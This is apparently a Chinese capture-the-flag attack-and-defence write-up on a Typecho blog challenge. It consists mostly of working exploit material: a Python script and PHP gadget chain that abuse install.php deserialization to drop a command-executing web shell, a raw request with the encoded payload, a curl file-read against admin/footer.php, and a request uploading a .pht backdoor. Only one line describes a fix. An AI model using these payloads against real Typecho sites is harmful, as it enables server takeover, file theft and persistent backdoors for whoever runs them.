7_tcho

By Hence Zhang @Lancet

tcho 反序列化漏洞：

漏洞文件：install.php

攻击脚本文件：

```
import requests
from urllib import quote
import os
import sys

if __name__ == '__main__':
    targert_url = sys.argv[1];
    shell_hash = sys.argv[2];
    shell_name = '.a.php'

    content =
 open('./not_use/1.php').read().replace('shell_hash',shell_hash)
    open('./not_use/tmp.php','w').write(content)

    rsp = requests.get(targert_url + "/install.php");
    if rsp.status_code != 200:
        print('The attack failed and the problem file does not exist !!!')
    else:
        print 'You are lucky, the problem file exists, immediately attack
!!!'
        typecho_config = os.popen('php ./not_use/tmp.php').read()
        headers = {'Host':'honk','User-Agent': 'Mozilla/5.0 (Windows NT
10.0; WOW64;rv:56.0) Gecko/20100101 Firefox/56.0','Cookie':
'antispame=1508415662;antispamkey=cc7dffeba8d48da508df125b5a50edbd;PHPSESSI
D=po1hggbeslfoglbvurjjt2lcg0;__typecho_lang=zh_CN;__typecho_config=
{typecho_config};'.format(typecho_config=quote(typecho_config)),'Referer':
targert_url}
        url = targert_url + "/install.php?finish=1"
        requests.get(url,headers=headers,allow_redirects=False)
        shell_url = targert_url + '/usr/uploads/' + shell_name
    if requests.get(shell_url).status_code == 200:
        print 'shell_url: ' + shell_url
    else:
        print "Getshell Fail!"
```

```php
<?php
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($version, $type = self::RSS2, $charset = 'UTF-
8', $lang = 'en')
{
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}
public function addItem(array $item)
{
$this->_items[] = $item;
}
}
class Typecho_Request
{
private $_params =
array('screenName'=>'fputs(fopen(\'./usr/uploads/.a.php\',\'w\'),\'<?php
@system($_POST[shell_hash]);?>\')');
private $_filter = array('assert');
//private $_filter = array('assert', array('Typecho_Response',
'redirect'));
}
$payload1 = new Typecho_Feed(5, 'ATOM 1.0');
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp['adapter'] = $payload1;
$exp['prefix'] = 'Rai4over';
echo base64_encode(serialize($exp));
```

Payload:（会在upload目录下生成.a.php)

```
GET /install.php?finish=1 HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64;rv:56.0) Gecko/20100101
Firefox/56.0
Referer: http://47.105.121.116:9090
Host: honk
Cookie:
antispame=1508415662;antispamkey=cc7dffeba8d48da508df125b5a50edbd;PHPSESSID
=po1hggbeslfoglbvurjjt2lcg0;__typecho_lang=zh_CN;__typecho_config=YToyOntzO
jc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABf
dHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJ
VVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJlbiI7czoyMDoiAFR5cGVjaG
9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fU
mVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNj
cmVlbk5hbWUiO3M6Nzg6ImZwdXRzKGZvcGVuKCcuL3Vzci91cGxvYWRzLy5hLnBocCcsJ3cnKSw
nPD9waHAgQHN5c3RlbSgkX1BPU1RbXzNkMjRkOGRlXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1
JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjg6Il92ZXJzaW9uI
jtpOjU7fXM6NjoicHJlZml4IjtzOjg6IlJhaTRvdmVyIjt9;
```

任意文件读取

漏洞文件：

admin/footer.php

payload：

```
curl http://47.105.121.116:9090/admin/footer.php?url=file://localhost/flag
```

后台文件上传漏洞

原理：

后台允许上传pht文件，直接在附件上传处上传pht后门即可，修补该漏洞时，把允许的后缀中pht删除掉

payload：

```
POST /index.php/action/upload?_=8561f49d121f93121983c2fdd6dbabd5 HTTP/1.1
Host: 47.105.121.116:9090
Content-Length: 292
Origin: http://47.105.121.116:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarydwSiEvKdNTgP3SSY
Accept: */*
Referer: http://47.105.121.116:9090/admin/write-post.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,pl;q=0.6
Cookie: UM_distinctid=164d08792003bd-061c93ec0d52f4-163c6952-13c680-
164d0879201922; CNZZDATA400379=cnzz_eid%3D1600348587-1532506902-
%26ntime%3D1532506902; CNZZDATA1261321738=1277624812-1532531826-
http%253A%252F%252F47.105.121.116%253A9090%252F%7C1532768947;
stylesheet=ayti; PHPSESSID=2bpg7gf6pugfi3sgccioor7uf1;
83febb3744bf6a900b1506fd5f733a6a__typecho_uid=1;
83febb3744bf6a900b1506fd5f733a6a__typecho_authCode=%24T%24fSwGclHXR5c40093c
f118f4823e2dc7b8c3bd96aa
Connection: close

------WebKitFormBoundarydwSiEvKdNTgP3SSY
Content-Disposition: form-data; name="name"

1.pht
------WebKitFormBoundarydwSiEvKdNTgP3SSY
Content-Disposition: form-data; name="file"; filename="1.pht"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundarydwSiEvKdNTgP3SSY--
```